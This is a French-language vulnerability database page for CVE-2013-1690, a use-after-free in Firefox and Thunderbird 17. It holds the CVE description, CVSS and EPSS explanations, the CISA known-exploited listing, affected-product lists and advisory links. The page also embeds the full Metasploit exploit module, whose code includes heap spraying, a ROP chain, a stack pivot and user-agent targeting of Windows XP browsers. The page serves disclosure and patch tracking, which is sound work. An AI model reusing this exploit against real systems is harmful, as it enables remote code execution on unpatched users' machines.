CVE-2013-1690 : Détail

CVE-2013-1690

8.8
/
Haute
Overflow
37.01%V3
Network
2013-06-26
01h00 +00:00
2025-02-07
12h51 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Mozilla Firefox before 22.0, Firefox ESR 17.x before 17.0.7, Thunderbird before 17.0.7, and Thunderbird ESR 17.x before 17.0.7 do not properly handle onreadystatechange events in conjunction with page reloading, which allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted web site that triggers an attempt to execute data at an unmapped memory location.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Mozilla Firefox and Thunderbird Denial-of-Service Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-03-27 22h00 +00:00

Action attendue : 2022-04-17 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 27429

Date de publication : 2013-08-07 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free', 'Description' => %q{ This module exploits a vulnerability found on Firefox 17.0.6, specifically an use after free of a DocumentViewerImpl object, triggered via an specially crafted web page using onreadystatechange events and the window.stop() API, as exploited in the wild on 2013 August to target Tor Browser users. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nils', # vulnerability discovery 'Unknown', # 1day exploit, prolly the FBI 'w3bd3vil', # 1day analysis 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-1690' ], [ 'OSVDB', '94584'], [ 'BID', '60778'], [ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ], [ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ], [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ], [ 'URL', 'http://krash.in/ffn0day.txt' ], [ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Firefox 17 & Firefox 21 / Windows XP SP3', { 'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory 'RetGadget' => 0x77c3ee16, # ret from msvcrt 'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP 'VFuncPtr' => 0x0c10100c # Fake Function Pointer to the Sprayed Memory } ] ], 'DisclosureDate' => 'Jun 25 2013', 'DefaultTarget' => 0)) end def stack_pivot pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset return pivot end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_status("Agent: #{agent}") if agent !~ /Windows NT 5\.1/ print_error("Windows XP not found, sending 404: #{agent}") send_not_found(cli) return end if agent !~ /Firefox\/17/ or agent !~ /Firefox\/21/ print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource # build html code = [ target['VFuncPtr'], target['RetGadget'], target['StackPivot'], junk ].pack("V*") code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'}) js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch)) js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch)) content = <<-HTML <html> <body> <iframe src="#{my_uri}/iframe.html"></iframe> </body></html> HTML # build iframe iframe = <<-IFRAME <script> var z="<body><img src='nonexistant.html' onerror=\\"\\" ></body>"; var test = new Array(); var heap_chunks; function heapSpray(shellcode, fillsled) { var chunk_size, headersize, fillsled_len, code; var i, codewithnum; chunk_size = 0x40000; headersize = 0x10; fillsled_len = chunk_size - (headersize + shellcode.length); while (fillsled.length <fillsled_len) fillsled += fillsled; fillsled = fillsled.substring(0, fillsled_len); code = shellcode + fillsled; heap_chunks = new Array(); for (i = 0; i<1000; i++) { codewithnum = "HERE" + code; heap_chunks[i] = codewithnum.substring(0, codewithnum.length); } } function b() { for(var c=0;1024>c;c++) { test[c]=new ArrayBuffer(180); bufView = new Uint32Array(test[c]); for (var i=0; i < 45; i++) { bufView[i] = #{target['FakeObject']}; } } } function a() { window.stop(); var myshellcode = unescape("#{js_code}"); var myfillsled = unescape("#{js_random}"); heapSpray(myshellcode,myfillsled); b(); window.parent.frames[0].frameElement.ownerDocument.write(z); } document.addEventListener("readystatechange",a,null); </script> IFRAME print_status("URI #{request.uri} requested...") if request.uri =~ /iframe\.html/ print_status("Sending iframe HTML") send_response(cli, iframe, {'Content-Type'=>'text/html'}) return end print_status("Sending HTML") send_response(cli, content, {'Content-Type'=>'text/html'}) end end

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version To (excluding) 22.0

Mozilla>>Firefox >> Version From (including) 17.0 To (excluding) 17.0.7

Mozilla>>Thunderbird >> Version To (excluding) 17.0.7

Mozilla>>Thunderbird_esr >> Version From (including) 17.0 To (excluding) 17.0.7

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 12.10

Canonical>>Ubuntu_linux >> Version 13.04

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Configuraton 0

Redhat>>Gluster_storage_server_for_on-premise >> Version 2.0

Redhat>>Enterprise_linux_desktop >> Version 5.0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_eus >> Version 5.9

Redhat>>Enterprise_linux_eus >> Version 6.4

Redhat>>Enterprise_linux_server >> Version 5.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server_aus >> Version 5.9

Redhat>>Enterprise_linux_server_aus >> Version 6.4

Redhat>>Enterprise_linux_workstation >> Version 5.0

Redhat>>Enterprise_linux_workstation >> Version 6.0

Configuraton 0

Opensuse>>Opensuse >> Version 11.4

Opensuse>>Opensuse >> Version 12.2

Opensuse>>Opensuse >> Version 12.3

Suse>>Linux_enterprise_desktop >> Version 10

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_software_development_kit >> Version 10

Suse>>Linux_enterprise_software_development_kit >> Version 11

Références

http://www.ubuntu.com/usn/USN-1890-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://rhn.redhat.com/errata/RHSA-2013-0982.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2013-0981.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.ubuntu.com/usn/USN-1891-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.debian.org/security/2013/dsa-2716
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2013/dsa-2720
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securityfocus.com/bid/60778
Tags : vdb-entry, x_refsource_BID